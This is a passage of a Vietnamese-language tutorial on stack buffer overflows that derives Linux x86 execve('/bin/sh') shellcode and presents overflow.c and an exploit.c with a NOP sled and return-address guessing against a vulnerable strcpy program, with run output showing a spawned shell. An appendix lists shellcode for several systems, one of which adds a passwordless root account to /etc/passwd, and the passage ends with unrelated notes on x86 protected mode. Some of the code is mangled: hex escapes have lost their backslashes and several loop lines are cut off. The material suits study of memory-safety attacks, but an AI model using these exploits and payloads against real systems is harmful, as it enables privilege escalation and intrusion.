0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
(gdb) quit
Giải thích:

1/ main():

0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
Các lệnh này bạn đã viết rồi. Nó sẽ lưu frame pointer cũ và tạo frame pointer mới từ stack pointer, sau đó dành chổ cho các biến cục bộ của main() trên stack, trong trường hợp này là 8 bytes:

char *name[2];

2 con trỏ kiểu char, mỗi con trỏ dài 1 word nên phải tốn 2 word, tức là 8 bytes trên stack.

0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
copy giá trị 0x80027b8(địa chỉ của chuổi "/bin/sh") vào con trỏ đầu tiên của mảng con trỏ name[]. Câu lệnh này tương đương với:

name[0] = "/bin/sh";

0x800013d : movl $0x0,0xfffffffc(%ebp)
copy giá trị 0x0(NULL) vào con trỏ thứ 2 của name[]. Câu lệnh này tương đương với:

name[1] = NULL;

Mã lệnh thật sự để call execve() bắt đầu tại đây:

0x8000144 : pushl $0x0
push các tham số của hàm execve() vào stack theo thứ tự ngược lại, đầu tiên là NULL

0x8000146 : leal 0xfffffff8(%ebp),%eax
nạp địa chỉ của name[] vào thanh ghi EAX

0x8000149 : pushl %eax
push địa chỉ của name[] vào stack

0x800014a : movl 0xfffffff8(%ebp),%eax
nạp địa chỉ của chuổi "/bin/sh" vào stack

0x800014e : call 0x80002bc <__execve>
gọi hàm thư viện execve(). call sẽ push eip vào stack.

2/ execve():

0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
đây là phần mở đầu của hàm, tôi không cần giải thích cho bạn nữa

0x80002c0 <__execve+4>: movl $0xb,%eax
copy 0xb(11 decimal) vào stack. 11 = execve()

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
copy địa chỉ của "/bin/sh" vào EBX

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
copy địa chỉ của name[] vào ECX

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
copy địa chỉ của con trỏ null vào EDX

0x80002ce <__execve+18>: int $0x80
gọi ngắt $0x80

Tóm lại:

a/ có một chuổi kết thúc bằng null "/bin/sh" ở đâu đó trong bộ nhớ
b/ có địa chỉ của chuổi "/bin/sh" ở đâu đó trong bộ nhớ theo sau là 1 null dài 1 word
c/ copy 0xb vào thanh ghi EAX
d/ copy địa chỉ của địa chỉ của chuổi "/bin/sh" vào thanh ghi EBX
e/ copy địa chỉ của chuổi "/bin/sh" vào thanh ghi ECX
f/ copy địa chỉ của null dài 1 word vào thanh ghi EDX
g/ gọi ngắt $0x80

Sau khi thi hành call execve, chương trình có thể thi hành tiếp các câu lệnh rác còn lại trên stack và chương trình có thể thất bại. Vì vậy, chúng ta phải nhanh chóng kết thúc chương trình bằng lời gọi hàm exit(). Exit syscall trong C có dạng như sau:

exit.c
------------------------------------------------------------------------------
#include

void main() {
exit(0);
}
------------------------------------------------------------------------------
Xem mã assemly của hàm exit():

[đt@localhost ~/vicki]$ gcc -o exit -ggdb -static exit.c
[đt@localhost ~/vicki]$ gdb exit
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
(gdb) disas _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
(gdb) quit
exit syscall sẽ đặt 0x1 vào EAX, đặt exit code trong EBX và gọi ngắt "int 0x80". exit code = 0 nghĩa là không gặp lỗi. Vì vậy chúng ta sẽ đặt 0 trong EBX.

Tóm lại:

a/ có một chuổi kết thúc bằng null "/bin/sh" ở đâu đó trong bộ nhớ
b/ có địa chỉ của chuổi "/bin/sh" ở đâu đó trong bộ nhớ theo sau là 1 null dài 1 word
c/ copy 0xb vào thanh ghi EAX
d/ copy địa chỉ của địa chỉ của chuổi "/bin/sh" vào thanh ghi EBX
e/ copy địa chỉ của chuổi "/bin/sh" vào thanh ghi ECX
f/ copy địa chỉ của null dài 1 word vào thanh ghi EDX
g/ gọi ngắt $0x80
h/ copy 0x1 vào thanh ghi EAX
i/ copy 0x0 vào thanh ghi EBX
j/ gọi ngắt $0x80

Shellcode sẽ có dạng như sau:

------------------------------------------------------------------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
------------------------------------------------------------------------------
Tính toán các offsets từ jmp đến call, từ call đến popl, từ địa chỉ của chuổi đến mảng, và từ địa chỉ của chuổi đến word null, chúng ta sẽ có shellcode thật sự:

------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string "/bin/sh" # 8 bytes
------------------------------------------------------------------------------
Để biết mã máy của các lệnh hợp ngữ trên ở dạng hexa, bạn cần compile shellcodeasm.c và gdb shellcodeasm:

shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string "/bin/sh" # 8 bytes
");
}
------------------------------------------------------------------------------
[đt@localhost ~/vicki]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[đt@localhost ~/vicki]$ gdb shellcodeasm
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : jmp 0x800015f
0x8000135 : popl %esi
0x8000136 : movl %esi,0x8(%esi)
0x8000139 : movb $0x0,0x7(%esi)
0x800013d : movl $0x0,0xc(%esi)
0x8000144 : movl $0xb,%eax
0x8000149 : movl %esi,%ebx
0x800014b : leal 0x8(%esi),%ecx
0x800014e : leal 0xc(%esi),%edx
0x8000151 : int $0x80
0x8000153 : movl $0x1,%eax
0x8000158 : movl $0x0,%ebx
0x800015d : int $0x80
0x800015f : call 0x8000135
0x8000164 : das
0x8000165 : boundl 0x6e(%ecx),%ebp
0x8000168 : das
0x8000169 : jae 0x80001d3 <__new_exitfn+55>
0x800016b : addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 : 0xeb
(gdb)
0x8000134 : 0x2a
(gdb)
.
.
.
(gdb) quit
Ghi chú: x/bx dùng để hiển thị mã máy ở dạng hexa của lệnh hợp ngữ

Bây giờ bạn hãy test thử shellcode đầu tiên:

testsc1.c
------------------------------------------------------------------------------
char shellcode[] =
"xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00"
"x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80"
"xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff"
"xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
[đt@localhost ~/vicki]$ cc -o testsc1 testsc1.c
[đt@localhost ~/vicki]$ ./testsc1
sh-2.04$ exit
[đt@localhost ~/vicki]$
Nó đã làm việc! Tuy nhiên có một vấn đề lớn trong shellcode đầu tiên. Shellcode này có chứa x00. Chúng ta sẽ thất bại nếu dùng shellcode này để làm tràn bộ đệm. Vì sao? Hàm strcpy() sẽ chấm dứt copy khi gặp x00 nên shellcode sẽ không được copy trọn vẹn vào buffer! Chúng ta cần gở bỏ hết x00 trong shellcode:

Câu lệnh gặp vấn đề: Được thay thế bằng:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
Shellcode mới!

shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string "/bin/sh" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------
Test shellcode mới!

testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
[đt@localhost ~/vicki]$ cc -o testsc2 testsc2.c
[đt@localhost ~/vicki]$ ./testsc2
sh-2.04$ exit
[đt@localhost ~/vicki]$
Viết tràn bộ đệm

Ví dụ 1:

overflow.c
------------------------------------------------------------------------------
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}
------------------------------------------------------------------------------
[đt@localhost ~/vicki]$ cc -o overflow overflow.c
[đt@localhost ~/vicki]$ ./overflow
sh-2.04$ exit
[đt@localhost ~/vicki]$
* Giải thích:

đỉnh của +--------------+ đáy của +----------------+ đỉnh của
bộ nhớ | ret addr | stack | addr(buffer) | bộ nhớ
+--------------+ | addr(buffer) |
| ebp | | ... |
+--------------+ | addr(buffer) |
| | | addr(buffer) | large_string[128]
| buffer[96] | | addr(buffer) |
| | | |
+--------------+ | shellcode |
| long_ptr | --------------> | |
đáy của +--------------+ đỉnh của +----------------+ đáy của
bộ nhớ stack bộ nhớ

STACK HEAP
char large_string[128]; //cấp phát một vùng nhớ 128 bytes trên HEAP

long *long_ptr = (long *) large_string; // cho long_ptr trỏ đến đầu mảng large_string[]

for (i=0; i<32; i++)
*(long_ptr+i) = (int)buffer; //lắp đầy mảng large_string[] bằng địa chỉ của mảng buffer[]

for (i=0; i large_string[i] = shellcode[i]; //đẩy shellcode vào phần đầu của mảng large_string[]

strcpy(buffer, large_string); //copy large_string vào buffer... làm tràn bộ đệm

Trước hết chúng ta khởi tạo một mảng large_string[] có kích thước lớn hơn buffer[] trên HEAP. Tiếp theo lắp đầy large_string[] bằng địa chỉ của buffer[]. Shellcode sẽ được gắn vào phần đầu của large_string[]. Khi hàm strcpy được thực hiện, nó sẽ copy large_string vào buffer. Bởi vì large_string quá lớn nên nó sẽ ghi đè lên ebp và return addr. Phần trên của mảng large_string toàn là địa chỉ của buffer[] - addr(buffer) nên return addr sẽ trỏ đến buffer[0]. Mà nằm ngay ở phần đầu của buffer lại chính là shellcode(do ta đã copy large_string vào buffer bằng hàm strcpy), nên shellcode sẽ được thi hành, nó sẽ đổ ra một shell lệnh.

Ví dụ 2:

Để viết tràn bộ đệm, bạn phải biến địa chỉ của buffer trên stack. Thật may cho chúng ta là hầu như tất cả các chương trình đều có cùng địa chỉ bắt đầu stack. Chúng ta có thể lấy được địa chỉ bắt đầu của stack qua chương trình sau:

sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%xn", get_sp());
}
------------------------------------------------------------------------------
[đt@localhost ~/vicki]$ cc -o sp sp.c
[đt@localhost ~/vicki]$ ./sp
0xbffffb07
[đt@localhost ~/vicki]$
Giả sử chương trình mà chúng ta cố làm tràn bộ đệm như sau:

vulnerable.c
----------------------------------------------
int main(int argc, char *argv[])
{
char buffer[500];
if(argc>=2) strcpy(buffer, argv[1]);
return 0;
}
----------------------------------------------
Đây là chương trình exploit.c. exploit sẽ làm tràn bộ đệm của vulnerable và buộc vulnerable đổ một shell lệnh cho chúng ta.

exploit.c
------------------------------------------------------------------------------
#include
#define BUFFERSIZE 600
#define OFFSET 0
#define NOP 0x90

char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

unsigned long get_esp(void)
{
__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[])
{
int i, offset=OFFSET, bsize=BUFFERSIZE;
long esp, ret, *addr_ptr;
char *buffer, *ptr, *osptr;

if (argc>1) bsize=atoi(argv[1]);
if (argc>2) offset=atoi(argv[2]);

esp=get_esp();
ret=esp-offset;

printf("Stack pointer: 0x%xn",esp);
printf("Offset : 0x%xn",offset);
printf("Return addr : 0x%xn",ret);

if (!(buffer=malloc(bsize)))
{
printf("Khong the cap phat bo nho.n");
exit(-1);
}

ptr=buffer;
addr_ptr=(long *)ptr;
for (i=0;i *(addr_ptr++)=ret;

for (i=0;i buffer[i]=NOP;

ptr=buffer+((bsize/2)-(strlen(shellcode)/2));
for (i=0;i *(ptr++)=shellcode[i];

buffer[bsize-1]=0;
execl("./vulnerable","vulnerable",buffer,0);
}
------------------------------------------------------------------------------
[đt@localhost ~/vicki]$ cc -o vulnerable vulnerable.c
[đt@localhost ~/vicki]$ cc -o exploit exploit.c
[đt@localhost ~/vicki]$ ./exploit
Stack pointer: 0xbffffaf8
Offset : 0x0
Return addr : 0xbffffaf8

sh-2.04$
Giải thích:

Trước hết, chúng ta cần xác định địa chỉ trở về khi tràn bộ đệm.

esp=get_esp();
ret=esp-offset;

Địa chỉ trở về khi tràn bộ đệm = ESP(địa chỉ bắt đầu của stack) - OFFSET . Tại sao phải trừ cho offset? Bởi vì chúng ta có gọi hàm execl("./vulnerable","vulnerable",buffer,0); sau cùng, nên ESP lúc này sẽ bị trừ đi một số bytes do chương trình exploit có sử dụng một số bytes trên stack cho các tham số và biến cục bộ của hàm.Điều này sẽ tăng khả năng địa chỉ trở về trỏ đến một nơi nào đó trong buffer[] của vulnerable, nơi mà chúng ta sẽ đặt NOPs và shellcode.

Quan sát stack:

+---------------+
| argv[] & argc |
| của exploit |
+---------------+
| return addr 1 |
+---------------+
| ebp 1 |
+---------------+
| |
| các biến cục |
| bộ của exploit|
| |
+---------------+
| argv[] & argc |
| của exploit |
+---------------+
| return addr 2 | ----
+---------------+ |
| ebp 2 | |
+---------------+ |
| | |
| buffer[] của | |
| vulnerable | <---/
| |
+---------------+
Chúng ta cần làm tràn buffer[] của vulnerable để return addr 2 trỏ đến đâu đó trong buffer[]. Cũng như ví dụ 1- overflow.c(bạn hãy xem lại thật kĩ ví dụ 1), chúng ta sẽ tạo một vùng nhớ trên heap:

if (!(buffer=malloc(bsize)))
{
printf("Khong the cap phat bo nho.n");
exit(-1);
}
Bây giờ lắp đầy buffer bằng địa chỉ trở về mà chúng ta đã tính được:

ptr=buffer;
addr_ptr=(long *)ptr;
for (i=0;i *(addr_ptr++)=ret;
Tiếp theo chúng ta sẽ lắp đầy 1/2 buffer bằng NOPs

for (i=0;i buffer[i]=NOP;
Sau đó, chúng ta đặt shellcode vào giữa NOPs

ptr=buffer+((bsize/2)-(strlen(shellcode)/2));
for (i=0;i *(ptr++)=shellcode[i];
Cuối cùng đặt '' vào buffer để hàm strcpy() trong vulnerable biết đã hết data cần copy.

buffer[bsize-1]=0;
Tiến hành làm tràn bộ đệm của vulnerable, bạn sẽ có được shell lệnh do vulnerable spawn.

execl("./vulnerable","vulnerable",buffer,0);
Quan sát stack, buffer[] của vulnerable và return addr 2 sau khi tràn bộ đệm sẽ có dạng như sau:

+------------+
|return addr2| -----
+------------+ |
| ebp 2 | |
+------------+ |
| ... | |
| nop | |
| ... | |
| shellcode | |
| ... | |
| nop | |
| nop | <----/
| nop |
| ... |
+------------+
Chúng ta hi vọng rằng return addr 2 sẽ trỏ đến 1 nop trước shellcode. Các câu lệnh NOPs sẽ không làm gì hết, đến khi gặp shellcode, shellcode sẽ đổ shell lệnh cho chúng ta(bạn hãy xem lại phần "Hình dung cách đặt shellcode trên stack).

Phụ lục

Các loại shellcode

BSDi

char code[] =
"xebx57x5ex31xdbx83xc3x08x83xc3x02x88x5e"
"x26x31xdbx83xc3x23x83xc3x23x88x5exa8x31"
"xdbx83xc3x26x83xc3x30x88x5exc2x31xc0x88"
"x46x0bx89xf3x83xc0x05x31xc9x83xc1x01x31"
"xd2xcdx80x89xc3x31xc0x83xc0x04x31xd2x88"
"x56x27x89xf1x83xc1x0cx83xc2x1bxcdx80x31"
"xc0x83xc0x06xcdx80x31xc0x83xc0x01xcdx80"
"BIN/SH";

FreeBSD

char code[]=
"xebx37x5ex31xc0x88x46xfax89x46xf5x89x36x89x76"
"x04x89x76x08x83x06x10x83x46x04x18x83x46x08x1b"
"x89x46x0cx88x46x17x88x46x1ax88x46x1dx50x56xff"
"x36xb0x3bx50x90x9ax01x01x01x01x07x07xe8xc4xff"
"xffxffx02x02x02x02x02x02x02x02x02x02x02x02x02"
"x02x02x02/bin/sh.-c.sh";

Replace .sh with .anycommand

Linux x86

char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

OpenBSD

OpenBSD shellcode that adds an unpassworded root login
"w00w00" to /etc/passwd... Courtesy of w00w00.
(Changed from /tmp/passwd to /etc/passwd... give kiddies a chance smilie

char shell[]=
"xebx2bx5ex31xc0x88x46x0b"
"x88x46x29x50xb0x09x50x31"
"xc0x56x50xb0x05xcdx80x89"
"xc3x6ax1dx8dx46x0cx50x53"
"x50x31xc0xb0x04xcdx80x31"
"xc0xb0x01xcdx80xe8xd0xff"
"xffxffx2fx65x74x63x2fx70"
"x61x73x73x77x64x30x77x30"
"x30x77x30x30x3ax3ax30x3a"
"x30x3ax77x30x30x77x30x30"
"x3ax2fx3ax2fx62x69x6ex2f"
"x73x68x0ax30xffxffxffxff"
"xffxffxffxffxffxffxffxff"
"xffxffxffxffxffxffxffxff";

Solaris / Sparc

char c0de[] =
/* setreuid() */
"x82x10x20xca" /* mov 0xca, %g1 */
"x92x1ax40x09" /* xor %o1, %o1, %o1 */
"x90x0ax40x09" /* and %o1, %o1, %o0 */
"x91xd0x20x08" /* ta 8 */
"x2dx0bxd8x9a" /* sethi $0xbd89a, %l6 */
"xacx15xa1x6e" /* or %l6, 0x16e, %l6 */
"x2fx0bxdcxda" /* sethi $0xbdcda, %l7 */
"x90x0bx80x0e" /* and %sp, %sp, %o0 */
"x92x03xa0x08" /* add %sp, 8, %o1 */
"x94x1ax80x0a" /* xor %o2, %o2, %o2 */
"x9cx03xa0x10" /* add %sp, 0x10, %sp */
"xecx3bxbfxf0" /* std %l6, [%sp - 0x10] */
"xdcx23xbfxf8" /* st %sp, [%sp - 0x08] */
"xc0x23xbfxfc" /* st %g0, [%sp - 0x04] */
"x82x10x20x3b" /* mov $0x3b, %g1 */
"x91xd0x20x08" /* ta 8

Solaris / x86

char c0de[] =

"xebx0a" /* jmp initcall */
"x9ax01x02x03x5cx07x04" /* lcall */
"xc3" /* ret */
"xebx05" /* jmp setuidcode */
"xe8xf9xffxffxff" /* call jmpz */
"x5e" /* popl %esi */
"x29xc0" /* subl %eax, %eax */
"x88x46xf7" /* movb %al, 0xfffffff7(%esi) */
"x89x46xf2" /* movl %eax, 0xfffffff2(%esi) */
"x50" /* pushl %eax */
"xb0x8d" /* movb $0x8d, %al */
"xe8xe0xffxffxff" /* call initlcall */
"x29xc0" /* subl %eax, %eax */
"x50" /* pushl %eax */
"xb0x17" /* movb $0x17, %al */
"xe8xd6xffxffxff" /* call initlcall */
"xebx1f" /* jmp callz */
"x5e" /* popl %esi */
"x8dx1e" /* leal (%esi), %ebx */
"x89x5ex0b" /* movl %ebx, 0x0b(%esi) */
"x29xc0" /* subl %eax, %eax */
"x88x46x19" /* movb %al, 0x19(%esi) */
"x89x46x14" /* movl %eax, 0x14(%esi) */
"x89x46x0f" /* movl %eax, 0x0f(%esi) */
"x89x46x07" /* movl %eax, 0x07(%esi) */
"xb0x3b" /* movb $0x3b, %al */
"x8dx4ex0b" /* leal 0x0b(%esi), %ecx */
"x51" /* pushl %ecx */
"x51" /* pushl %ecx */
"x53" /* pushl %ebx */
"x50" /* pushl %eax */
"xebx18" /* jmp lcall */
"xe8xdcxffxffxff" /* call start */
"x2fx62x69x6ex2fx73x68" /* /bin/sh */
"x01x01x01x01x02x02x02x02x03x03x03x03"
"x9ax04x04x04x04x07x04"; /* lcall */
Công cụ tạo shellcode "Hellkit"

Hellkit là một công cụ dùng tạo shellcode cho Linux rất dễ dùng. Hellkit rất đa năng, đặc biệt Hellkit còn cho phép tạo shellcode có kích thước lên đến 65535 bytes!

Tài liệu tham khảo

"Smashing The Stack For Fun And Profit"(phrack 49-14) - Aleph One
"Advanced buffer overflow exploits" - Taeho Oh

Do hiểu biết còn nhiều hạn chế nên bài viết này không tránh khỏi những thiếu xót, rất mong nhận được sự đóng góp, giúp đỡ của các bạn để bài viết được hoàn thiện hơn. Thanx, đt. Vicki's real fan!
Protected mode.
Thật khó để định nghĩa protected mode là cái gì. Chúng ta quay trở lại thời kì CPU 8086. 8086 bao gồm các thanh ghi 16 bít (2 bytes).
AX: Accumulate – thanh ghi tích lũy vì ax thường lưu giữ kết quả các phép tính toán học.
BX: Base – thanh ghi cơ sở vì bx thường dùng để định vị [bx+??]
CX: Count – thanh ghi đếm vì cx thường dùng chứa số đếm trong các lệnh loop rep
DX: Data – thanh ghi dữ liệu vì dx thường chứa dữ liệu trong phép tinh toán học
SI,DI: source index, destination index-thanh ghi chỉ mục địa chỉ nguồn và địa chỉ đích
SP: stack pointer: thanh ghi con trỏ stack
IP: intruction pointer: thanh ghi con trỏ lệnh
BP: base pointer: thanh ghi con trỏ cơ sở dùng định stack frame trong cấu trúc ngôn ngử bậc cao.
CS: code segment: thanh ghi đoạn lệnh
DS: data segment: thanh ghi đoạn dữ liệu
ES: extra segment: thanh ghi đoạn dữ liệu
SS: stack segment: thanh ghi đoạn stack

Để xác định 1 vị trí trong bộ nhớ cần 2 cặp thanh ghi seg và index:
CS:IP con trỏ đến code sắp thi hành
DS:SI: con trỏ địa chỉ dữ liệu nguồn
ESsmilieI: con trỏ địa chỉ dữ liệu đích
SS:SP: con trỏ stack
SS:BP: con trỏ stack frame

8086 sẽ không phân biệt các đâu trên bộ nhớ là code, data hay stack. Nếu CS=DS thì code cũng là data mà data cũng là code. Ngoài ra không có hạn chế gì, bạn tự do đọc thi hành hay thay đổi code, dữ liệu cũng tất cả trong memory. vị dụ kernel của DOS được tải lên ở vùng nhớ 0x40000, bảng Interupt 0x0, đều có thể thay đổi bởi bất cứ 1 chương trình bình thường nào. Rõ ràng 8086 chỉ thích hợp cho hệ thống 1 người dùng.

Bắt đầu từ 80286 CPU 16 bít protected mode rồi 80386 CPU 32 bít protected mode. Tất cả các dòng CPU Intel sau này cho đến Pent IV đều chung kiến trúc protected nên người ta gọi là dòng i386.

Ở chế độ protected mode, bộ nhớ máy tính được bảo vệ chặt chẽ việc truy xuất được phần cứng CPU kiểm soát. Lúc này 1 địa chỉ được xác định bởi 1 thanh ghi segment selector 16 bít và chỉ mục 32 bít.. Có 6 thanh ghi segment selector cs,ss,ds,es,gs,fs.Điểm khác của thanh ghi segment selector và thanh ghi segment ở 8086 ở chổ thanh ghi segment xác định trực tiếp vùng nhớ còn thanh ghi segment selector lại xác định 1 segment descriptor (mô tả đoạn) trong bảng mô tả. Rồi giá trị trong segment descriptor mới giúp chúng ta xác định bộ nhớ vật lý.

Bảng mô tả bộ nhớ:
Bộ nhớ máy tính được chia nhỏ thành nhiều đoạn. Cách thức chia bộ nhớ được mô tả trong 1 bảng mô tả (Nếu bạn không hình dung được thì hãy nhớ đến việc chia đĩa cứng thành nhiều đĩa logic cần bảng partion , bảng này mô tả cách thức chia đĩa). Có 2 loại bảng mô tả - GDT(Global Descriptior Table) và LDT(Local Descriptor Table). Chỉ có 1 bảng GDT được build trong bộ nhớ và vị trí của bảng này được chứa trong thanh ghi gdtr của CPU. Mỗi process sẽ có 1 bảng LDT riêng của nó mô tả cách phân chia riêng cho process đó -tất nhiên cho vùng nhớ mà nó có quyền thôi. Địa chỉ LDT nằm trong thanh ghi ldtr. Mỗi khi swap process ta chỉ cần load lại ldtr thì sẽ có phân vùng bộ nhớ cho process đó ...
Mỗi một đoạn được mô tả bởi 8 bytes trong bảng mô tả. Bao gồm:
1. 32 bít Base: là địa chỉ phẳng của byte đầu tiên của đoạn trong vùng nhớ 4G
2. Cờ G 1 bít: là các định kích thước đoạn 0 là tính theo byte, 1 là tính theo 4096 bytes
3. 20 bít Limit: là kích thước đoạn nếu G=0 thì đoạn có size=1bytes-1Mbyte(2^20) nếu G=1 thì đoạn có size=4K-4G
4. Cờ S 1 bít: S=0: đoạn kernel, S=1: đoạn bình thường
5. 4 bít Type: có các type sau đây: Code, Data, Task State đây là đoạn đặc biệt chỉ có trong GDT dùng để chỉ nơi chứa các dữ liệu liên quan các task. Khi SCHED muốn swap task sẽ đọc trong đây là phục hồi các giá trị của task. Local Descriptor Table đây cũng là đoạn đặt biệt chuyên chưa các LDT của các task và chỉ có trong GDT.
6. 2 bít DPL: Quyền thấp nhất được truy xuất đoạn này. CPU i386 cho 4 mức quyền 0 là cao nhất tương đương với kernel. Còn 3 là User Application. Nếu DPL cho 1 segment là 0 thì user application không thể truy xuất vào đoạn này.
7. Các bít còn lại không dùng.

Các thanh ghi segment selector (cs,ds,ss,es,gs,fs)
Mỗi khi 1 giá trị được set trong 1 thanh ghi segment selector thì CPU sẽ tìm 8 bytes mô tả tương ứng của selector tải vào thanh ghi nội bộ. Vì vậy việc chuyển địa chỉ không cần truy xuất GDT hay LDT 1 cách thường xuyên. Mỗi thanh ghi segment selector có 16 bít trong đó:
1. 13 bít chỉ mục:chỉ 1 mục trong GDT hay LDT
2. Cờ 1 bit TI : 0: đoạn này trong GDT, 1: đoạn này trong LDT
3. 2 bít RPL: Từ 0-3 chỉ mức yêu cầu truy cập đoạn này chỉ có tác dụng với CS Theo tài liệu Intel thì khi 1 process set thanh ghi CS thì RPL có thể nạp với những mức thấp hơn hay bằng mức mà process có quyền. Theo tôi hiểu thì như vậy 1 process kernel có thể chạy 1 đoạn code với quyền thấp hơn ví dụ set RPL=3 chẳng hạn.

Vậy 1 địa chỉ sẽ là Base của đoạn đó + giá trị của thanh ghi chỉ mục (ebx,esi,edi v.v) nhưng theo tôi thường thấy các chương trình 32bít thường set base của tất cả các đoạn =0 hết.
Mục đầu tiên của bảng mô tả luôn toàn là số 0, vì vậy nếu 1 segment selector =0 thì nó sẽ invalid. Do 1 segment selector có 13 bít chỉ mục nên số segment trong bảng mô tả tối đa là 2^13 –1 = 8191.

Linux Protected Mode.
